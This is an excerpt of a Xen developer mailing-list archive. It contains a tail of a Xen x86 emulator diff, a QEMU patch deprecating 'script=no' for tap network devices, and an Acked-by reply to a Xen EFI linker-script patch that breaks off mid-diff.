+/* See gcc bug 100680, but here don't bother making this version dependent. */
+# define gcc11_wrap(x) ({                  \
+     unsigned long x_;                     \
+     __asm__ ( "" : "=g" (x_) : "0" (x) ); \
+     (typeof(x))x_;                        \
+})
+
+# define cpu_has_amd_erratum(nr) 0
+# define cpu_has_mpx false
+# define read_bndcfgu() 0
+# define xstate_set_init(what)
+
+/* For generic assembly code: use macros to define operation/operand sizes. */
+# ifdef __i386__
+#  define __OS          "l"  /* Operation Suffix */
+#  define __OP          "e"  /* Operand Prefix */
+# else
+#  define __OS          "q"  /* Operation Suffix */
+#  define __OP          "r"  /* Operand Prefix */
+# endif
+
+#endif /* __XEN__ */
+
 #include "private.h"
 
+#ifndef X86EMUL_NO_MMX
+
 /*
  * The next two tables are indexed by high opcode extension byte (the one
  * that's encoded like an immediate) nibble, with each table element then
@@ -45,9 +89,15 @@ static const uint16_t _3dnow_ext_table[1
     [0xb] = (1 << 0xb) /* pswapd */,
 };
 
+#endif /* !X86EMUL_NO_MMX */
+
+#ifndef X86EMUL_NO_SIMD
+
 /* Shift values between src and dst sizes of pmov{s,z}x{b,w,d}{w,d,q}. */
 static const uint8_t pmov_convert_delta[] = { 1, 2, 3, 1, 2, 1 };
 
+#endif /* !X86EMUL_NO_SIMD */
+
 static const uint8_t sse_prefix[] = { 0x66, 0xf3, 0xf2 };
 
 #ifdef __x86_64__


From xen-devel-bounces@lists.xenproject.org Tue Jul 14 15:43:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 15:43:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362425.1614242 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjfHe-0001GI-5N; Tue, 14 Jul 2026 15:42:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362425.1614242; Tue, 14 Jul 2026 15:42:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjfHe-0001GB-16; Tue, 14 Jul 2026 15:42:58 +0000
Received: by outflank-mailman (input) for mailman id 1362425;
 Tue, 14 Jul 2026 15:42:57 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vsementsov@yandex-team.ru>) id 1wjfHc-0001G5-BR
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 15:42:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjfHb-00Bzoz-3d
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 17:42:55 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vsementsov@yandex-team.ru>)
 id 6a5658df-bab6-0a2a0a5309dd-0a2a4507c830-46
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 17:42:54 +0200
Received: from [178.154.239.136] (helo=forwardcorp1b.mail.yandex.net)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vsementsov@yandex-team.ru>)
 id 6a5658fc-b4ea-0a2a45070019-b29aef8883a0-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 17:42:53 +0200
Received: from mail-nwsmtp-smtp-corp-canary-81.sas.yp-c.yandex.net
 (mail-nwsmtp-smtp-corp-canary-81.sas.yp-c.yandex.net
 [IPv6:2a02:6b8:c1b:16:0:640:bc52:0])
 by forwardcorp1b.mail.yandex.net (postfix) with ESMTPS id 7553980B02;
 Tue, 14 Jul 2026 18:42:52 +0300 (MSK)
Received: from i115954770.yandex-team.ru (unknown [2a02:6bf:8080:c5a::1:8])
 by mail-nwsmtp-smtp-corp-canary-81.sas.yp-c.yandex.net (smtpcorp) with ESMTPSA
 id lgRdV71YDKo0-yjZTDoCd; Tue, 14 Jul 2026 18:42:51 +0300
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=default header.d=yandex-team.ru header.i="@yandex-team.ru" header.h="Cc:Message-ID:References:Date:In-Reply-To:Subject:To:From"
Precedence: bulk
X-Yandex-Fwd: 1
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yandex-team.ru;
	s=default; t=1784043771;
	bh=8IBno91zziUb/fdDS9K9Wa1s/YUk+db4puIIa61K9LM=;
	h=Cc:Message-ID:References:Date:In-Reply-To:Subject:To:From;
	b=OD8W5Yad/qB98ASEgLzXI4OGC/Ofal7KTdsGtoMKbIVzXm4YWRfpAp97Q8dm6ZYJU
	 I8B1yuvzZv6GdYn22Jd3+wzMdVJZwHJvaCXcyrWSkiAgutwIMuqjM9xkjpc9A0cnY8
	 fb+6SJ3Y9B6Ii0b0Uj6UNwM/nmci6FM5RSwtbTa0=
Authentication-Results: mail-nwsmtp-smtp-corp-canary-81.sas.yp-c.yandex.net; dkim=pass header.i=@yandex-team.ru
From: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
To: jasowang@redhat.com,
	mst@redhat.com
Cc: armbru@redhat.com,
	peterx@redhat.com,
	farosas@suse.de,
	raphael.s.norwitz@gmail.com,
	bchaney@akamai.com,
	vsementsov@yandex-team.ru,
	qemu-devel@nongnu.org,
	berrange@redhat.com,
	pbonzini@redhat.com,
	yc-core@yandex-team.ru,
	mark.caveayland@nutanix.com,
	Pierrick Bouvier <pierrick.bouvier@oss.qualcomm.com>,
	Sergio Lopez <slp@redhat.com>,
	Zhao Liu <zhao1.liu@intel.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
	Bernhard Beschow <shentey@gmail.com>,
	Alistair Francis <Alistair.Francis@wdc.com>,
	Palmer Dabbelt <palmer@dabbelt.com>,
	Jason Wang <jasowangio@gmail.com>,
	Eric Blake <eblake@redhat.com>,
	devel@lists.libvirt.org (open list:Incompatible changes),
	xen-devel@lists.xenproject.org (open list:X86 Xen CPUs),
	qemu-ppc@nongnu.org (open list:e500),
	qemu-riscv@nongnu.org (open list:Microchip PolarFi...)
Subject: [PATCH v19 03/15] net/tap: deprecate "no" as special value for script/downscript
Date: Tue, 14 Jul 2026 18:42:31 +0300
Message-ID: <20260714154246.1242856-4-vsementsov@yandex-team.ru>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260714154246.1242856-1-vsementsov@yandex-team.ru>
References: <20260714154246.1242856-1-vsementsov@yandex-team.ru>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1784043773-374D3AE4-C4AF2963/0/0
X-purgate-type: clean
X-purgate-size: 12601

The interface is ambiguous, as "no" is valid file name. So,
using "no" as a special value to disable script is deprecated.
Use an empty string ("script=" / "downscript=") instead.

In a future version, "no" will be treated as a plain file name, just
like any other non-empty value.

Document the deprecation in docs/about/deprecated.rst, qapi/net.json,
and qemu-options.hx. Update other docs to use empty string instead of
"no". Add a warning.

Signed-off-by: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
---
 docs/about/deprecated.rst                  | 18 ++++++++++++++
 docs/system/i386/microvm.rst               |  4 +--
 docs/system/i386/xenpvh.rst                |  2 +-
 docs/system/ppc/ppce500.rst                |  4 +--
 docs/system/riscv/microchip-icicle-kit.rst |  2 +-
 docs/system/riscv/sifive_u.rst             |  2 +-
 net/tap.c                                  | 29 ++++++++++++++--------
 qapi/net.json                              | 12 ++++++---
 qemu-options.hx                            |  7 ++++--
 9 files changed, 56 insertions(+), 24 deletions(-)

diff --git a/docs/about/deprecated.rst b/docs/about/deprecated.rst
index 0c656a968fc..c4929317e3a 100644
--- a/docs/about/deprecated.rst
+++ b/docs/about/deprecated.rst
@@ -71,6 +71,15 @@ flexible enough. The monitor objects have been converted to QOM, so
 ``-mon mode=control`` is replaced by ``-object monitor-qmp``. The
 short convenience options are not deprecated, only ``-mon``.
 
+``script=no`` and ``downscript=no`` for ``-netdev tap`` (since 11.2)
+'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
+
+The special value ``"no"`` for the ``script`` and ``downscript``
+parameters of ``-netdev tap`` disables script execution.  This special
+treatment of ``"no"`` is deprecated.  Use an empty string (``script=``
+or ``downscript=``) to disable script execution instead.  In a future
+version, ``"no"`` will be treated as a plain file name.
+
 QEMU Machine Protocol (QMP) commands
 ------------------------------------
 
@@ -164,6 +173,15 @@ Use ``job-finalize`` instead.
 
 Use ``query-accelerators`` instead.
 
+``"no"`` as value of ``script``/``downscript`` for tap in ``netdev_add`` (since 11.2)
+'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
+
+The special value ``"no"`` for the ``script`` and ``downscript``
+parameters of ``netdev_add`` with ``type=tap`` disables script
+execution.  This special treatment of ``"no"`` is deprecated.  Use an
+empty string instead.  In a future version, ``"no"`` will be treated as
+a plain file name.
+
 Human Machine Protocol (HMP) commands
 -------------------------------------
 
diff --git a/docs/system/i386/microvm.rst b/docs/system/i386/microvm.rst
index 1675e37d3e7..077ea15751e 100644
--- a/docs/system/i386/microvm.rst
+++ b/docs/system/i386/microvm.rst
@@ -79,7 +79,7 @@ legacy ``ISA serial`` device as console::
      -serial stdio \
      -drive id=test,file=test.img,format=raw,if=none \
      -device virtio-blk-device,drive=test \
-     -netdev tap,id=tap0,script=no,downscript=no \
+     -netdev tap,id=tap0,script=,downscript= \
      -device virtio-net-device,netdev=tap0
 
 While the example above works, you might be interested in reducing the
@@ -103,7 +103,7 @@ disabled::
      -device virtconsole,chardev=virtiocon0 \
      -drive id=test,file=test.img,format=raw,if=none \
      -device virtio-blk-device,drive=test \
-     -netdev tap,id=tap0,script=no,downscript=no \
+     -netdev tap,id=tap0,script=,downscript= \
      -device virtio-net-device,netdev=tap0
 
 
diff --git a/docs/system/i386/xenpvh.rst b/docs/system/i386/xenpvh.rst
index 904778e3f5c..862f38830b1 100644
--- a/docs/system/i386/xenpvh.rst
+++ b/docs/system/i386/xenpvh.rst
@@ -42,7 +42,7 @@ case you need to construct one manually:
       -vnc none                                       \
       -display none                                   \
       -device virtio-net-pci,id=nic0,netdev=net0,mac=00:16:3e:5c:81:78 \
-      -netdev type=tap,id=net0,ifname=vif3.0-emu,br=xenbr0,script=no,downscript=no \
+      -netdev type=tap,id=net0,ifname=vif3.0-emu,br=xenbr0,script=,downscript= \
       -smp 4,maxcpus=4                                \
       -nographic                                      \
       -machine xenpvh,ram-low-base=0,ram-low-size=2147483648,ram-high-base=4294967296,ram-high-size=2147483648,pci-ecam-base=824633720832,pci-ecam-size=268435456,pci-mmio-base=4026531840,pci-mmio-size=33554432,pci-mmio-high-base=824902156288,pci-mmio-high-size=68719476736 \
diff --git a/docs/system/ppc/ppce500.rst b/docs/system/ppc/ppce500.rst
index c9fe0915dc5..ec5aaf14fd9 100644
--- a/docs/system/ppc/ppce500.rst
+++ b/docs/system/ppc/ppce500.rst
@@ -158,14 +158,14 @@ interface at PCI address 0.1.0, but we can switch that to an e1000 NIC by:
   $ qemu-system-ppc64 -M ppce500 -smp 4 -m 2G \
                       -display none -serial stdio \
                       -bios u-boot \
-                      -nic tap,ifname=tap0,script=no,downscript=no,model=e1000
+                      -nic tap,ifname=tap0,script=,downscript=,model=e1000
 
 The QEMU ``ppce500`` machine can also dynamically instantiate an eTSEC device
 if â€œ-device eTSECâ€ is given to QEMU:
 
 .. code-block:: bash
 
-  -netdev tap,ifname=tap0,script=no,downscript=no,id=net0 -device eTSEC,netdev=net0
+  -netdev tap,ifname=tap0,script=,downscript=,id=net0 -device eTSEC,netdev=net0
 
 Root file system on flash drive
 -------------------------------
diff --git a/docs/system/riscv/microchip-icicle-kit.rst b/docs/system/riscv/microchip-icicle-kit.rst
index 9809e94b84b..7fdb96601ad 100644
--- a/docs/system/riscv/microchip-icicle-kit.rst
+++ b/docs/system/riscv/microchip-icicle-kit.rst
@@ -84,7 +84,7 @@ Then we can boot the machine by:
   $ qemu-system-riscv64 -M microchip-icicle-kit -smp 5 -m 2G \
       -sd path/to/sdcard.img \
       -nic user,model=cadence_gem \
-      -nic tap,ifname=tap,model=cadence_gem,script=no \
+      -nic tap,ifname=tap,model=cadence_gem,script= \
       -display none -serial stdio \
       -kernel path/to/u-boot/build/dir/u-boot.bin \
       -dtb path/to/u-boot/build/dir/u-boot.dtb
diff --git a/docs/system/riscv/sifive_u.rst b/docs/system/riscv/sifive_u.rst
index 8f55ae8e313..0e4dcf3e70c 100644
--- a/docs/system/riscv/sifive_u.rst
+++ b/docs/system/riscv/sifive_u.rst
@@ -199,7 +199,7 @@ To boot the VxWorks kernel in QEMU with the ``sifive_u`` machine, use:
 
   $ qemu-system-riscv64 -M sifive_u -smp 5 -m 2G \
       -display none -serial stdio \
-      -nic tap,ifname=tap0,script=no,downscript=no \
+      -nic tap,ifname=tap0,script=,downscript= \
       -kernel /path/to/vxWorks \
       -append "gem(0,0)host:vxWorks h=192.168.200.1 e=192.168.200.2:ffffff00 u=target pw=vxTarget f=0x01"
 
diff --git a/net/tap.c b/net/tap.c
index fedd48c48d2..2e94b4015f6 100644
--- a/net/tap.c
+++ b/net/tap.c
@@ -92,34 +92,40 @@ static void launch_script(const char *setup_script, const char *ifname,
 static void tap_send(void *opaque);
 static void tap_writable(void *opaque);
 
-static bool tap_is_explicit_no_script(const char *script_arg)
+static bool tap_is_explicit_no_script(const char *script_arg_name,
+                                      const char *script_arg_value)
 {
-    if (!script_arg) {
+    if (!script_arg_value) {
         return false;
     }
 
-    if (script_arg[0] == '\0') {
+    if (script_arg_value[0] == '\0') {
         return true;
     }
 
-    if (strcmp(script_arg, "no") == 0) {
+    if (strcmp(script_arg_value, "no") == 0) {
+        warn_report("%s=no is deprecated; use %s= instead "
+                    "(empty string instead of 'no')",
+                    script_arg_name, script_arg_name);
         return true;
     }
 
     return false;
 }
 
-static char *tap_parse_script(const char *script_arg, const char *default_path)
+static char *tap_parse_script(const char *script_arg_name,
+                              const char *script_arg_value,
+                              const char *default_path)
 {
-    if (tap_is_explicit_no_script(script_arg)) {
+    if (tap_is_explicit_no_script(script_arg_name, script_arg_value)) {
         return NULL;
     }
 
-    if (!script_arg) {
+    if (!script_arg_value) {
         return get_relocated_path(default_path);
     }
 
-    return g_strdup(script_arg);
+    return g_strdup(script_arg_value);
 }
 
 static void tap_update_fd_handler(TAPState *s)
@@ -740,7 +746,7 @@ static bool net_init_tap_one(const NetdevTapOptions *tap, NetClientState *peer,
         qemu_set_info_str(&s->nc, "helper=%s", tap->helper);
     } else {
         qemu_set_info_str(&s->nc, "ifname=%s,script=%s,downscript=%s", ifname,
-                          script ?: "no", downscript ?: "no");
+                          script ?: "", downscript ?: "");
 
         if (downscript) {
             snprintf(s->down_script, sizeof(s->down_script), "%s", downscript);
@@ -946,9 +952,10 @@ int net_init_tap(const Netdev *netdev, const char *name,
         }
     } else {
         g_autofree char *script =
-            tap_parse_script(tap->script, DEFAULT_NETWORK_SCRIPT);
+            tap_parse_script("script", tap->script, DEFAULT_NETWORK_SCRIPT);
         g_autofree char *downscript =
-            tap_parse_script(tap->downscript, DEFAULT_NETWORK_DOWN_SCRIPT);
+            tap_parse_script("downscript", tap->downscript,
+                             DEFAULT_NETWORK_DOWN_SCRIPT);
 
         if (tap->ifname) {
             pstrcpy(ifname, sizeof ifname, tap->ifname);
diff --git a/qapi/net.json b/qapi/net.json
index 8f0915c4d86..ada0329ef9d 100644
--- a/qapi/net.json
+++ b/qapi/net.json
@@ -399,15 +399,19 @@
 # @fds: multiple file descriptors of already opened multiqueue capable
 #     tap
 #
-# @script: script to initialize the interface.  An empty string or
-#     "no" disables script execution.  Defaults to
+# @script: script to initialize the interface.  An empty string
+#     disables script execution.  Defaults to
 #     ``<sysconfdir>/qemu-ifup``, where ``<sysconfdir>`` is the
 #     system configuration directory at build time (typically /etc).
+#     Using "no" to disable script execution is deprecated (since
+#     11.2); use an empty string instead.
 #
-# @downscript: script to shut down the interface.  An empty string or
-#     "no" disables script execution.  Defaults to
+# @downscript: script to shut down the interface.  An empty string
+#     disables script execution.  Defaults to
 #     ``<sysconfdir>/qemu-ifdown``, where ``<sysconfdir>`` is the
 #     system configuration directory at build time (typically /etc).
+#     Using "no" to disable script execution is deprecated (since
+#     11.2); use an empty string instead.
 #
 # @br: bridge name (since 2.8)
 #
diff --git a/qemu-options.hx b/qemu-options.hx
index 200949655ea..7b9a14f5b38 100644
--- a/qemu-options.hx
+++ b/qemu-options.hx
@@ -3014,7 +3014,8 @@ DEF("netdev", HAS_ARG, QEMU_OPTION_netdev,
     "                use network scripts 'file' (default=" DEFAULT_NETWORK_SCRIPT ")\n"
     "                to configure it and 'dfile' (default=" DEFAULT_NETWORK_DOWN_SCRIPT ")\n"
     "                to deconfigure it\n"
-    "                use '[down]script=no' or '[down]script=' to disable script execution\n"
+    "                use '[down]script=' to disable script execution\n"
+    "                ('[down]script=no' is deprecated and will be treated as a file name in future)\n"
     "                use network helper 'helper' (default=" DEFAULT_BRIDGE_HELPER ") to\n"
     "                configure it\n"
     "                use 'fd=h' to connect to an already opened TAP interface\n"
@@ -3553,7 +3554,9 @@ SRST
     ``<sysconfdir>/qemu-ifup`` and the default network deconfigure script is
     ``<sysconfdir>/qemu-ifdown``, where ``<sysconfdir>`` is the system
     configuration directory at build time (typically ``/etc``).
-    Use ``[down]script=no`` or ``[down]script=`` to disable script execution.
+    Use ``[down]script=`` to disable script execution.
+    Using ``[down]script=no`` is deprecated; in a future version it will
+    be treated as a plain file name.
 
     If running QEMU as an unprivileged user, use the network helper
     to configure the TAP interface and attach it to the bridge.
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 14 17:10:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 17:10:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362459.1614284 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjgeW-0004s8-UI; Tue, 14 Jul 2026 17:10:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362459.1614284; Tue, 14 Jul 2026 17:10:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjgeW-0004s1-R1; Tue, 14 Jul 2026 17:10:40 +0000
Received: by outflank-mailman (input) for mailman id 1362459;
 Tue, 14 Jul 2026 17:10:39 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1wjgeU-0004rv-T0
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 17:10:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjgeU-000jh1-9N
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 19:10:38 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a566d74-bab6-0a2a0a5309dd-0a2a45098fd2-44
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 19:10:38 +0200
Received: from [202.12.124.153] (helo=fhigh-b2-smtp.messagingengine.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a566d8c-be1a-0a2a45090019-ca0c7c99b267-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 19:10:37 +0200
Received: from phl-compute-04.internal (phl-compute-04.internal [10.202.2.44])
 by mailfhigh.stl.internal (Postfix) with ESMTP id 2359A7A0055;
 Tue, 14 Jul 2026 13:10:36 -0400 (EDT)
Received: from phl-frontend-03 ([10.202.2.162])
 by phl-compute-04.internal (MEProxy); Tue, 14 Jul 2026 13:10:36 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Tue,
 14 Jul 2026 13:10:33 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm2 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Type:Date:Feedback-ID:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-type:content-type:date
	:date:from:from:in-reply-to:in-reply-to:message-id:mime-version
	:references:reply-to:subject:subject:to:to; s=fm2; t=1784049035;
	 x=1784135435; bh=2aTPHzGnmUjn0RwopJKNfMCfH2eaZYN+yBpqwJp4Rkg=; b=
	A/isoBtbokFMKyFC1fKwImKpMUQxnK1n3H1jGJ2z30dS+Oty7Y1kp1z6rWiuECXv
	8Oxyap3nEvkqO0LLZNd+fisn0hfb5anGd9eAa7EZ1hD/6o5BdMfgdvDAtTEifzNx
	HX62z1GINU8qpGEfg6btTqLpGgGEjTQdCE33C9JVplw+the+68i/a14o3ltvfL9a
	e4KdaePzuk62ukl8eIBcEDp5DVOKHDIECIqHnajDILTCuKnU7tIT95p+kAPBnaUp
	nW0W4SS/A4iS7x7sdzK+FyzQg5eEdqKMLqpoqpvrkJuWIh4hDmeYgozFOWzP3yLH
	x3u7kUCrmc3OvUdKuTvqxA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-type:content-type:date:date
	:feedback-id:feedback-id:from:from:in-reply-to:in-reply-to
	:message-id:mime-version:references:reply-to:subject:subject:to
	:to:x-me-proxy:x-me-sender:x-me-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pxw1O0tyHmSUkfmeXmbS4Gu/yy4XyfohnPL+d7Mm953AU0gCoXFXj+SJDHm
    /wjkASeFXKSDaVTy1qEoQeLH9aq+Ligt3VUae738ihXxVeoGRyzJTU/yP43XzCdEFlgDhA
    W++4wiav5xuBFwjlw0Fbz86KPAFZa2LmvdwILAC29hcvV6nO+8pcq26vre6oJ4aW0O7JYS
    tjZVYFcI6s1BGsmg8bAEs1l7IwnwBj7I2OGRtYiI3NZmFZn40epbg37OsJO/lEn0ElUMHz
    URR9rng3HcnBw6lKAWSEzXIYP7NKhV7pBq2jhn0IFN9mqqHob6RLbj7MS3IXZntVE4MRjq
    3I5+rsA44DzCB1ppjMWP1MBCSzOk80+BlyNNznpQSGuu7qblfVjE2mYPSAzw
X-ME-Proxy: <xmx:i21WapIZt9Xrw6OEFLY_88d7gCOMkGzR0_IAVGgW7iGn2RmJMkoqLA>
    <xmx:i21Wao_jO_Ze4apnhg9TuGtvmz_XLp4UhcHb_7adZp0yNAZTkCHOAw>
    <xmx:i21Waqy9E8KZ9VT-RDcvLCXnHTHGsZYjI-jFTt3qSPNR617SQf7Cew>
    <xmx:i21Wat6lOtUv_E2LFbC03AIH-CoodhRr1qetFehsdp2eMaDNaE4A0Q>
    <xmx:i21WaqN4Xv1cmdfOh_1iimWnAZAHYHIp_nMEicl2Z3ln4QHtOHR72FSg>
Feedback-ID: i1568416f:Fastmail
Date: Tue, 14 Jul 2026 19:10:31 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: Re: [PATCH v7 2/4] x86/efi: discard multiboot and PVH support for PE
 binary
Message-ID: <alZth4ETay5AL-1T@mail-itl>
References: <20260706104557.430097-1-frediano.ziglio@citrix.com>
 <20260706104557.430097-3-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="M+dZevWwTgEMElMU"
Content-Disposition: inline
In-Reply-To: <20260706104557.430097-3-frediano.ziglio@citrix.com>
X-purgate-ID: tlsNG-bad1c0/1784049038-39AC0034-18FB42E5/0/0
X-purgate-type: clean
X-purgate-size: 6978


--M+dZevWwTgEMElMU
Content-Type: text/plain; protected-headers=v1; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Date: Tue, 14 Jul 2026 19:10:31 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: Re: [PATCH v7 2/4] x86/efi: discard multiboot and PVH support for PE
 binary

On Mon, Jul 06, 2026 at 11:45:55AM +0100, Frediano Ziglio wrote:
> From: Roger Pau Monn=C3=A9 <roger.pau@citrix.com>
>=20
> Multiboot and PVH booting are not supported for PE, hence discards them
> in the linker script when doing a PE build.
>=20
> That removes some relocations that otherwise appear due to the usage of t=
he
> start and __efi64_mb2_start symbols in the multiboot2 header.
>=20
> Section discarding is not done updating DISCARD_SECTIONS definition as the
> change is specific for x86.
>=20
> No functional change intended.
>=20
> Signed-off-by: Roger Pau Monn=C3=A9 <roger.pau@citrix.com>
> Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>

Acked-by: Marek Marczykowski-G=C3=B3recki <marmarek@invisiblethingslab.com>

> ---
> Changes since v1:
> - improve commit message;
> - change section orders to avoid changing code order in final executable;
> - merge 2 commits;
> - removed deprecated documentation section.
>=20
> Changes since v2:
> - Update commit message, join 2 sentences together.
>=20
> Changes since v3:
> - Added Acked-by.
>=20
> Changes since v4:
> - more clear subject;
> - removed more code/data from EFI output;
> - removed Acked-by.
>=20
> Changes since v5:
> - simplify section exclusion using more wildcard;
> - exclude more multiboot functions.
> ---
>  docs/hypervisor-guide/x86/how-xen-boots.rst | 6 ------
>  xen/arch/x86/boot/head.S                    | 8 ++++----
>  xen/arch/x86/xen.lds.S                      | 7 +++++++
>  xen/tools/combine_two_binaries.py           | 2 +-
>  4 files changed, 12 insertions(+), 11 deletions(-)
>=20
> diff --git a/docs/hypervisor-guide/x86/how-xen-boots.rst b/docs/hyperviso=
r-guide/x86/how-xen-boots.rst
> index 8b3229005c..b6d852050a 100644
> --- a/docs/hypervisor-guide/x86/how-xen-boots.rst
> +++ b/docs/hypervisor-guide/x86/how-xen-boots.rst
> @@ -82,12 +82,6 @@ When a PEI-capable toolchain is found, the objects are=
 linked together and a
>  PE32+ binary is created.  It can be run directly from the EFI shell, and=
 has
>  ``efi_start`` as its entry symbol.
> =20
> -.. note::
> -
> -   xen.efi does contain all MB1/MB2/PVH tags included in the rest of the
> -   build.  However, entry via anything other than the EFI64 protocol is
> -   unsupported, and won't work.
> -
> =20
>  Boot
>  ----
> diff --git a/xen/arch/x86/boot/head.S b/xen/arch/x86/boot/head.S
> index 68b963ce6f..981f262b5e 100644
> --- a/xen/arch/x86/boot/head.S
> +++ b/xen/arch/x86/boot/head.S
> @@ -126,7 +126,7 @@ multiboot2_header:
>          .size multiboot2_header, . - multiboot2_header
>          .type multiboot2_header, @object
> =20
> -        .section .init.rodata, "a", @progbits
> +        .section .init.rodata.multiboot, "a", @progbits
> =20
>  .Lbad_cpu_msg: .asciz "ERR: Not a 64-bit CPU!"
>  .Lbad_ldr_msg: .asciz "ERR: Not a Multiboot bootloader!"
> @@ -137,8 +137,7 @@ multiboot2_header:
>  .Lno_nx_msg:   .asciz "ERR: Not an NX-capable CPU!"
>  #endif
